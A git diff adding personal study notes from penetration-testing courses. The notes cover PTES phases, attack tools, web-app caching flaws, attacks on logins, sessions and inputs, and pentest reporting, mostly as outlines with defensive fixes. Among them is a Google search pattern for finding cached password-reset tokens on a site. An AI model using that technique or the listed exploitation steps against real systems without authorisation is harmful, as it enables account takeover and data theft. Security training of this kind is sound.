Focused Testing + -- Application Focused Testing + -- Physical Testing + -- Social Engineering + + +:: Manual and Automated Testing :: + +-- Manual -- +Require understanding target +Create custom queries and inputs +Configure a tool specifically for the target +Create custom code +Interpret output and results +Consider the internal state and operations + + +[ Low error rate ] + -- Few False Positives + -- Few False Negatives +[ Level of effort ] + -- Exploration: High + -- Interpretation: High +[ Likelihood of detection ] == Low + + +-- Automated -- +Requires a target +Can use default settings +Must review results +Adjust settings +Repeat tests + + +[ High error rate ] + -- More False Positives + -- More False Negatives +[ Level of effort ] + -- Exploration: Low + -- Interpretation: Medium +[ Likelihood of detection ] == High + + + + +:: Goal-oriented and Time-limited Testing :: + +-- Goal-oriented -- ( Specific targets; Narrows focus ) + +Define goal in contract +Provide proof that goal was achieved +Get access on specific system +Place a fake device in an office +Exfil. a specific type of data + + +-- Time-limited -- +Cost controlled by client. +Take a comprehensive buyt focused approach +Provide valuable actionable data +Highly targeted due to time frame + + + + +:: Network Focused Testing :: +Attain unauthorized access +Evaluate compromised system +Pivot to the next system +Repeat + + +-- Org. Network Types +[ Internal Network ]: Informational assets exist, stored, processed, managed, and processed. + (Physical and virtual network wiring) + +[ Wireless Network ]: (wireless clients, access points, and management systems) + Can act as a perimeter network. + +[ Perimeter Network ]: Provides access to a portion of a systems network (eail, web, DNS servers, and VPN) + Third party apps and services go here too. + + + + +:: Application Focused Testing :: +Commercial-off-the-shelf (COTS) +Internally developed +Third-party developed +Shadow IT (Unvetted applications that you're not aware of necessarily. + Printer drivers maybe? NIC drivers? Etc...) +Software-as-a-Service (SaaS) + + +[ Outdated Software ] + +[ Misconfiguration ] + +[ Poor design ] + +[ Poor implementation ] + + +-- Application Types -- +Enterprise Apps: org. wide systems such as enterprise resource planning or ERP apps, + HR systems, customer relationship management or CRM apps, or file + storage and archive systems + +Web Sites, Apps, and Services + +Mobile Apps: Sensitive data locally on a device. Easily lost or subject to search. + +Thick Clients: Desktop applications that store data locally or access sensitive data remotely + + + +:: Physical Testing :: + + +-- information Gathering -- +[ Dumpster Diving ] + +[ Surveillance ] + -- Observation + -- Photo and Video + +[ Satellite Imagery ] + -- Ident. perimeters of facility, locations of physical plant and utilities, points of + surveillance and entry, and for measuring distances around the facility. + +[ Open Sources ] + -- Client's websites, city, county, and court records, and filings with regulatory agencies. + + + + +:: Social Engineering :: ( Hacking the human mind ) + +-- Pretexting -- diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-3 - PTES.txt b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-3 - PTES.txt new file mode 100644 index 0000000..be95cb7 --- /dev/null +++ b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-3 - PTES.txt @@ -0,0 +1,148 @@ +Overview: + -- Use of the PTES + -- Pre-engagement Interactions + -- Intelligence Gathering + -- Threat Modeling + -- Vulnerability Analysis + -- Exploitation + -- Post Exploitation + -- Reporting + + + +:: Use of the PTES :: + +http://www.pentest-standard.org/index.php/Main_Page + + + + +:: Pre-engagement Interactions :: +[ Project scoping ]: Defining effort, size of tests, time of work, scope creep mitigation + +[ Information Gathering ]: See module-3-image-1 in this dir. (Not exhaustive list) + +[ Defining Goals ]: No dih side + +[ Emergency Contacts ]: Systems could go down, vulnerability found, etc. + Get: Full name, Title and operational responsibility, + Authorization to discuss testing activities + Two 24/7 contact numbers + A method of secure information exchange + + +[ Rules of Engagement ]: HOW will things be tested? Time lines, locations, evidence handling, + status updates, testing times, permission to test documents, etc. + + + + +:: Intelligence Gathering :: +Target selection +Identification and Naming +OSINT - Open Source Intelligence: See module-3-image-2 for more info in a broad + setup / or look through documentation at the link above + +Footprinting: DNS, DHCP, BGP, Whois databases, and even packet sniffing + + + + +:: Threat Modeling :: (Included in report to client...) +Business Asset Analysis + +[ Business Process Analysis ]: Technical infrastructure + Information Assets + Human Assets + Third Party Integration + +[ Threat Agents / Community Analysis ]: see module-3-image-3 image for quick rundown... + +[ Threat Capability Analysis ]: Analyzing tools used buy threats, availability of tools and exploits, + comms mechanisms, accessibility + +[ Motivation Modeling ]: Money, fame/fun, hacktivism, grudge, nation state threats? + + + + +:: Vulnerability Analysis :: +[ Active ]: Interaction with system (network scanners, app scanners, + protocol specific scanners, manual/direct scans) + +[ Passive ]: Metadata analysis, traffic monitoring + +[ Validation ]: Confirming results through correlation and manual testing. Attack trees and attack avenues + +[ Research ]: Public knowledge/portals/vendors, exploit DBs, common passwords, + hardening guides for understanding weaknesses, disassembly and code analysis + + + + +:: Exploitation :: +( Leveraging what was found in the Vulnerability Analysis ) + +[ Countermeasures ]: Protection mechanisms --> Anti-virus software, + Humans (like being helpful), Data Execution Protection, + Address space layout randomization, Web Application Firewalls (WAFs) + +[ Evasion ]: Avoiding detection + +[ Precision Strike ]: Only use exploits most likely to achieve success + +[ Customized Exploitation Avenue ]: Customizing exploits + +[ Tailored Exploits ]: These require development work --> Basically, it might have worked + on one machine, model, or system but needs change to work on another + +[ Zero-day Angle ]: Fuzzing / fault injection, source code analysis + (Buffer overflows, structured exception handling or SEH overwrites, + and return-oriented programming), Traffic analysis, etc + +[ Example Avenues of Attack ]: This is on the website but attempts to explain various avenues of attack. + +[ Overall Objective ]: How project objectives should be considered when creating exploit path/process + + + + +:: Post Exploitation :: + +Rules of Engagement: Protects you and protects client + +Infrastructure Analysis: Learning system for pivoting and concluding report + +Pillaging: *Not what it sounds like: Alll about gathering system + info such as security, programs installed, configuratuions, + security, email, EVERYTHING!! + +High Value / Profile Targets + +Data Exfil.: How data can be removed? Finding this out... + +Persistence: Backdoor persistence, credential sniffing, keyloggers, etc. + +Pivoting: Further exploits to other systems + +Cleanup: Remove everything done to system during attack. Config changes, programs, etc. + + + +:: Reporting :: +Executive summery: + -- Background + -- Overall Posture + -- Risk Ranking / Profile of org. + -- General Findings + -- Recommendations Summary + -- Strategic Roadmap for mitigation + +Technical Report: + -- Introduction: Outline key facts about the test and results + -- Information Gathering: Should describe intel gathered and how. (Active or Passive means?) + -- Vulnerability Assessment: Risk-ranked list of potential vulnerabilities discovered + -- Exploitation: + -- Post Exploitation: Describes activities that occurred once access was established + -- Risk: Describes and quantifies risks, vulnerabilities, exploitation, and post exploits + -- Conclusion: Highlight key finding diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-4 - Pen Testers and their Tools.txt b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-4 - Pen Testers and their Tools.txt new file mode 100644 index 0000000..f024abf --- /dev/null +++ b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-4 - Pen Testers and their Tools.txt @@ -0,0 +1,64 @@ +Overview: + -- Penetration Testers + -- Penetration Testing Tools + -- Certifications + -- Pluralsight Courses + + + +:: Penetration Testers :: +Curious +Likes to solve puzzles +Driven by achievement +Detail oriented +Security background: Info Sec +Technology education: Programmers + + + + +:: Penetration Testing Tools :: +OS: Kali Linux or maybe macOS + +Vulnerability Scanning: Nmap (swiss-army-knife XD), Metsploit, Open VAS, + Skipfish (website assessment tool), + WPScan (wordpress scanning tool), + *Commercial: Rapi7 Nexpose, Qualys, Tenable Nessus + +Vulnerability Exploitation: Metasploit, Rapid7's Metasploit, SQLmap (sql injection), + Social Engineering Toolkit, BeEF (browser exploitation framework for) + +Password Cracking: John the Ripper, Hashcat, Ophcrack, rainbow Tables + +Documentation tools: leafpad, KeepNote, Libreoffice, Desktop recording, + + + + +:: Certifications (For Pen Testers) :: +EC-Council: + -- CEH --> Certified Ethical Hacker + -- LPT --> Licensed Penetration Tester + +Offensive Security: + -- OS Certified Professional (OSCP) + -- OS Wireless Professional (OSWP) [Wireless network penetration testing cert.] + -- OS Certified Expert (OSCE) [Higher level] + -- OS Exploitation Expert (OSEE) [Windows focused with practical exam creating exploit] + -- OS Web Expert (OSWE) [web app exploiting] + + + + +:: Pluralsight Courses :: +Ethical Hacking (CEH Prep) [From EC-Council] + +Other: + -- Introductory Courses -- + See module-4-image-1 image + + -- Advanced Courses -- + See module-4-image-2 image + + -- Play by Plays -- + See module-4-image-3 image diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/Course Overview.txt b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/Course Overview.txt new file mode 100644 index 0000000..ecb50f2 --- /dev/null +++ b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/Course Overview.txt @@ -0,0 +1,9 @@ +Concepts: + ... + +Overview: +-- Google Caching +-- Cacheable HTTPS Responses +-- Caching of Credit Card Data +-- Sensitive Data in the URL +-- Industry Best Practices diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/materials/caching-problems-web-app-hacking.zip b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/materials/caching-problems-web-app-hacking.zip new file mode 100644 index 0000000..7555499 Binary files /dev/null and b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/materials/caching-problems-web-app-hacking.zip differ diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/materials/module-5-image-1.png b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/materials/module-5-image-1.png new file mode 100644 index 0000000..05e8766 Binary files /dev/null and b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/materials/module-5-image-1.png differ diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-1 - Google Caching.txt b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-1 - Google Caching.txt new file mode 100644 index 0000000..0ab0fd3 --- /dev/null +++ b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-1 - Google Caching.txt @@ -0,0 +1,44 @@ +Overview: + -- Google Indexing and Caching + -- How to Find Sensitive Data in Google + -- Demo + -- Fixing the Problem + + + +:: Google Indexing and Caching :: +-- Tool(s) -- + +Google be god and library of secrets. + + + + +:: How to Find Sensitive Data in Google :: +-- Tool(s) -- + +See if a users password reset link has been cache... +See if token is still valid. + +In google search try the following: + + site:example.com + inurl: token <-- where token is a string to search for + + + + +:: Demo :: +-- Tool(s) -- + +Skipped... + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +Don't store sensitive data in urls. +Add to sensitive pages: + diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-2 - Cacheable HTTPS Responses.txt b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-2 - Cacheable HTTPS Responses.txt new file mode 100644 index 0000000..1aeeb7c --- /dev/null +++ b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-2 - Cacheable HTTPS Responses.txt @@ -0,0 +1,40 @@ +Overview: + -- HTTPS Is Not Enough! + -- Demo + -- Fixing the Problem + + + +:: HTTPS Is Not Enough! :: +-- Tool(s) -- + +If https responses are cacheable. +What if password reset is cached and header has the info? +Security is bypassed.... + + + + +:: Demo :: +-- Tool(s) -- + about:cache <-- firefox + +HTTPS: secure communication channel + +Sensitive data returned in HTTPS response (e.g. password) + + +Cacheable HTTPS response (e.g. Cache-control/Pragma headers not implemented) + = +Password cached in plaintext + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +Don't return sensative data in HTTPS responses. +Set proper caching headers like cache control and pragma... + + Cache-control: no-store + Pragma: no-cache diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-3 - Caching of Credit Card Data.txt b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-3 - Caching of Credit Card Data.txt new file mode 100644 index 0000000..eaf50c1 --- /dev/null +++ b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-3 - Caching of Credit Card Data.txt @@ -0,0 +1,24 @@ +Overview: + -- Caching of Data Entered by the User + -- Demo + -- Fixing the Problem + + + + +:: Caching of Data Entered by the User :: && :: Demo :: +-- Tool(s) -- + +Sensitive data entered by user. +autocomplete="off" not used in form fields... +Stores credit card info in plain text from cache. +*** What's really bad is that companies are more + and more geared to check the validity of the card + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +autocomplete="off" for every input field that takes sensitive data diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-4 - Sensitive Data in the URL.txt b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-4 - Sensitive Data in the URL.txt new file mode 100644 index 0000000..d30773b --- /dev/null +++ b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-4 - Sensitive Data in the URL.txt @@ -0,0 +1,30 @@ +Overview: + -- URL and Sensitive Data + -- Demo + -- Fixing the Problem + + + + +:: URL and Sensitive Data :: +-- Tool(s) -- + +GET post?? Yup... +Don't. + + + +:: Demo :: +-- Tool(s) -- + +Shows server logs containing the password. + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +Use POST for sensitive data transfer including things +like no-cache in cache-control and pragma plus autocomplete="off" +in form fields. diff --git a/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-5 - Industry Best Practices.txt b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-5 - Industry Best Practices.txt new file mode 100644 index 0000000..5c8e8ad --- /dev/null +++ b/src/Security/Training/Phase1/1010_Web App Hacking: Caching Problems/module-5 - Industry Best Practices.txt @@ -0,0 +1,19 @@ +Overview: + -- OWASP ASVS + -- V9: Data Protection Verification Requirements + + + + +:: OWASP ASVS :: +-- Tool(s) -- + +Look at the OWASP ASVS data protection module... + + + + +:: V9: Data Protection Verification Requirements :: +-- Tool(s) -- + +See module-5-image-1 mage diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/Course Overview.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/Course Overview.txt new file mode 100644 index 0000000..ad6625a --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/Course Overview.txt @@ -0,0 +1,9 @@ +Overview: + -- The Principles of a Web Application Penetration Test + -- Pre-engagement + -- Footprinting + -- Attacking User Controls + -- Attacking Application Inputs + -- Common Attack Methods + -- Discovering Logic Flaws + -- Reporting diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-1-image-1.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-1-image-1.png new file mode 100644 index 0000000..f1eb764 Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-1-image-1.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-1-image-2.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-1-image-2.png new file mode 100644 index 0000000..bbbd20b Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-1-image-2.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-3-image-1.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-3-image-1.png new file mode 100644 index 0000000..88f7b7f Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-3-image-1.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-3-image-2.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-3-image-2.png new file mode 100644 index 0000000..0e8fc83 Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-3-image-2.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-4-image-1.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-4-image-1.png new file mode 100644 index 0000000..cc6189c Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-4-image-1.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-1.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-1.png new file mode 100644 index 0000000..6fa23f1 Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-1.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-2.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-2.png new file mode 100644 index 0000000..ba1ae1b Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-2.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-3.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-3.png new file mode 100644 index 0000000..6fb4ed9 Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-3.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-4.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-4.png new file mode 100644 index 0000000..7adf4eb Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-4.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-5.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-5.png new file mode 100644 index 0000000..bd46929 Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/module-7-image-5.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/resources-1.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/resources-1.png new file mode 100644 index 0000000..73cd260 Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/resources-1.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/resources-2.png b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/resources-2.png new file mode 100644 index 0000000..8feed51 Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/resources-2.png differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/web-app-pentesting-fundamentals.zip b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/web-app-pentesting-fundamentals.zip new file mode 100644 index 0000000..ed1ccce Binary files /dev/null and b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/materials/web-app-pentesting-fundamentals.zip differ diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-1 - The Principles of a Web Application Penetration Test.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-1 - The Principles of a Web Application Penetration Test.txt new file mode 100644 index 0000000..10b900d --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-1 - The Principles of a Web Application Penetration Test.txt @@ -0,0 +1,95 @@ +Overview: + -- Methodology of Attack + -- Structure of Web Applications + -- Cookies and Sessions + -- Lab Details + + +:: Methodology of Attack :: +[ Poke at the Pillars ] + -- Authentication + -- Authorization + -- Confidentiality + -- Integrity + -- Availability + +( Map Content ) + -- Visible + -- Hidden [robots.txt, forced browse] + -- Analyze + + +( User Controls ) + -- Authentication + -- Access Controls + -- Session + +( Attack Inputs ) + -- Form Input + -- Header + -- URL + -- Cookies + -- Hidden fields + -- XSS / Injection + +( Site Logic ) + -- Positive security model + -- Fail securely + -- Principles of least privilege + -- Security by obscurity + -- Client trust + -- Information leakage + + + + +:: Structure of Web Applications :: + +( HTTP Request Headers ) + verb URI Version +Ex: GET /order/12345 HTTP/1.1 + + User-Agent Cookies Referrer +Ex: Mozilla/5.0 (Windows NT 6.1; WOW64) id=klkjuhyjhuty67uy https://www.google.com + + +( HTTP Response Headers ) + +[ Status Code ] + -- 100 - informational + -- 200 - Success + -- 300 - Redirection + -- 400 - Something wrong (user) + -- 500 - Something wrong (server) + + Status Code Server +Ex: HTTP/1.1 200 OK Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.9.1f + + +( Structure of URL ) +///:?a=123Z&b=me + +? = parameters +& = separate parameters ++ or %20 = spaces + +( Symbol Encoding ) +See module-1-image-1 image + +[ Other ] + -- Unicode + -- Hex Encoding + -- Base64 Encoding + + +:: Cookies and Sessions :: +Cookies store session keys +Flags: + httponly + secure + +Session data is server side. + + +:: Lab Details :: +See module-1-image-2 image diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-2 - Pre-engagement.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-2 - Pre-engagement.txt new file mode 100644 index 0000000..ce4914c --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-2 - Pre-engagement.txt @@ -0,0 +1,44 @@ +Overview: + -- Black Box / Grey Box / White Box + -- Rules of Engagement + -- Scoping + + + +:: Black Box / Grey Box / White Box :: + +"Box" Testing + +[ Black Box ]: no information or access. Purely blind except for what is publicly accessible. + (crafting inputs and observing responses) + +[ White Box ]: aka, Crystal box testing, has complete information about, and access to the system being tested. + (user accounts, admin access, documentation, source code, test suits and frameworks, test cases, algorithm descriptions, etc.) + +[ Grey Box ]: some info is available but not complete + (source code but no user accounts or admin access. Api calls anyone??) + + + + +:: Scoping :: +( All about permission ) + +Reason for test?? +Applications and IP in scope?? +Applications and IP NOT in scope?? +Live or test environment?? +3rd parties evolved?? +Techniques allowed?? + + + + +:: Rules of Engagement :: +Contact info is important +Start / end Time +Whitelist / blacklist +Blocked +Test type? +Test Credentials +Access to data?? diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-3 - Footprinting.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-3 - Footprinting.txt new file mode 100644 index 0000000..f60d964 --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-3 - Footprinting.txt @@ -0,0 +1,63 @@ +Overview: + -- Spider Application + -- Discover Server Information + -- Discover Hidden Content + -- Automated Scans + -- Analyze Results + + + +:: Spider Application :: + +[ OWASP Zed Attack Proxy (ZAP) ] + +Add site to context +1. r-click root of context and "Attack" > "Spider" it. +2. You can force scan additional hidden pages by r-click and "Attack" > "Forced Browse" the directory and children + + + + +:: Discover Server Information :: +-- Tool(s) -- + HTTP Print + Wappalyzer (FF plugin) [Helps get technology stack info.] + +Can use browser response header info too. +Information leakage can help too. IE, plugins that display version info, etc + +See module-3-image-1 image for app types + + + + +:: Discover Hidden Content :: + +-- Tool(s) -- + Foca (Google foo) + +Robots.text +Forced Browsing: Common files and folders that are popular for private information (BURP: Content Discovery) +Public Information "Google Hacking" +Comments Comments sitting in code (BURP Suit has a find comments in page feature) + + + + +:: Automated Scans :: + +-- Tool(s) -- +See module-3-image-2 image +CMSmap: attack and review WordPress, Joomla, and Drupal. +WPScan: Wordpress +Joomscan: Joomla +SQLmap: injection tool + +SSLlabs: https://www.ssllabs.com/ssltest/ +SSLscan: Kali linux tool + + + + +:: Analyze Results :: +Getting all the data together and reviewing... diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-4 - Attacking User Controls.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-4 - Attacking User Controls.txt new file mode 100644 index 0000000..03c404d --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-4 - Attacking User Controls.txt @@ -0,0 +1,47 @@ +Overview: + -- Authentication + -- Session + -- Access Controls + + +:: Authentication :: + +POST over HTTPS: Ensure can't get to HTTP side + +Pretty much covers standard policies such as Lockout policies, password lengths and strength, +whether over https with post (the best correct way) and whether any other (the worst wrong way) + +Password reset links should be tokenized and live for 5, 10, to 20 minutes. If still alive past 24 hours it's a finding. +Obviously limit previous password usage to some degree (60 rounds before reuse) + +Security question /answer: Is it limited or infinite in nature? + +What is your favorite NBA team? == about 30 total. Will it let me try all +thirty or lock out and request I call help line? + + + +:: Session :: +Is the session token meaningful or completely random?? NEVER base64 shit into it!!! +Determine if content encode. + +Try generating multiple tokens. See if any repetition. +Create multiple accounts. +Compare tokens against access levels guest/admin + + +-- Predictability and Randomization -- +See module-4-image-1 image + + +Protect in transit +No URL +Expire + + + + +:: Access Controls :: +Insecure direct object reference +NEVER security through obscurity!! +Unprotected API calls diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-5 - Attacking Application Inputs.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-5 - Attacking Application Inputs.txt new file mode 100644 index 0000000..3f6cfb8 --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-5 - Attacking Application Inputs.txt @@ -0,0 +1,35 @@ +Overview: + -- Proxies + -- Vehicles of Data Transfer + -- Input Validation + + +:: Proxies :: +-- Tool(s) -- + ZAP "Lets us view data between the app n server" + + +:: Vehicles of Data Transfer :: +GET/POST parameters & response +Headers +Coolies + +Forms: + -- Text + -- Hidden fields [In BURP: Proxy > Options > Response Modification (Section) > Unhide Hidden Form Fields] + +Buttons + +Submits + +Scripting languages (JS) + + + + +:: Input Validation :: +All input is evil. ~sMichael Howard XD lololololol + +TNO: Trust No One + +Length, data types, empty or not, etc... diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-6 - Common Attack Methods.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-6 - Common Attack Methods.txt new file mode 100644 index 0000000..3e294ba --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-6 - Common Attack Methods.txt @@ -0,0 +1,53 @@ +Overview: + -- Fuzzing + -- XSS - Cross-site Scripting + -- Injection + -- Insecure Direct Object Reference + -- Request Forgery + + + +:: Fuzzing :: +-- Tool(s) -- + Burp + ZAP + + +Unexpected Data +Abnormal Behavior + +Upper bounds +Letter +Negative number +XSS -> + + + + +:: XSS - Cross-site Scripting :: + +Reflected XSS: Getting data returned from a submission onto a page somewhere like a rely structure +Stored XSS: Set data into db to be returned later +DOM XSS: Stays client side and based on JS processing + + + + +:: Injection :: +-- Tool(s) -- + -- OWASP: Security Shepherd + +Parameterize! Nuf said + + + + +:: Insecure Direct Object Reference :: +Basically, can I get to the data directly and bypass page logic?? + + + + +:: Request Forgery :: +CSRF: Basically, trying to run command from another "site/location" while user is authenticated in the system. +Instead of being requested from your site and the user directly it can be masked from another site if not checked against diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-7 - Discovering Logic Flaws.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-7 - Discovering Logic Flaws.txt new file mode 100644 index 0000000..f0886f9 --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-7 - Discovering Logic Flaws.txt @@ -0,0 +1,54 @@ +Overview: + -- Circumvention of Workflow + -- Beating Limits + -- Process Timing + -- Spilling the Secrets + -- Parameter Manipulation + + + +:: Circumvention of Workflow :: +Breaking logic/algorithms +Ex 1: +See module-7-image-1 image + +Ex 2: +See module-7-image-2 image + +Ex 3: +See module-7-image-3 image + +Ex 4: +See module-7-image-4 image + + + + +:: Beating Limits :: +min/max checks? +Less than 0? + + + + +:: Process Timing :: +Time of day? +Time to process? +Time limits? + +Success vs error processing? + + + + +:: Spilling the Secrets :: +Correlation checks +Does one process decrypt data that another process could use to decrypt other data? + + + + +:: Parameter Manipulation :: +Site map changes: See module-7-image-5 image +Click and observe +Understand what COULD be done? diff --git a/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-8 - Reporting.txt b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-8 - Reporting.txt new file mode 100644 index 0000000..2e6c8b0 --- /dev/null +++ b/src/Security/Training/Phase1/111_Web Application Penetration Testing Fundamentals/module-8 - Reporting.txt @@ -0,0 +1,39 @@ +Overview: + -- Layout + -- Scoring + + + +:: Layout :: +What does it mean in terms of time, cost, threat, etc? +How does it work? +How do you remediate it? + +Explain according to user. IE, who is reading it technical or non-technical? + +Summery: + High + Medium + Low + +Scope of work: + Targets + Limits + Schedule + Summary of findings + +Findings: + Description of issue + Location + Severity rating + Screenshot + Remediation advice + + + + +:: Scoring :: +Vulnerability Severities Metric: + (FIRST CVSS) --> Forum of Incident Response and Security Teams Common Vulnerability Scoring System. + https://www.first.org/cvss/ + ** "For web application pentesting, I usually don't go beyond the base scoring system." diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/Course Overview.txt b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/Course Overview.txt new file mode 100644 index 0000000..878bbbb --- /dev/null +++ b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/Course Overview.txt @@ -0,0 +1,9 @@ +Concepts: + See module-1-image-1 image + +Overview: + -- XXE Attack + -- Going Deeper into an XXE Attack + -- XPath Injection + -- XSS via XML + -- XSS via SVG diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/materials/module-1-image-1.png b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/materials/module-1-image-1.png new file mode 100644 index 0000000..1e5e1f8 Binary files /dev/null and b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/materials/module-1-image-1.png differ diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/materials/xml-processing-web-app-hacking.zip b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/materials/xml-processing-web-app-hacking.zip new file mode 100644 index 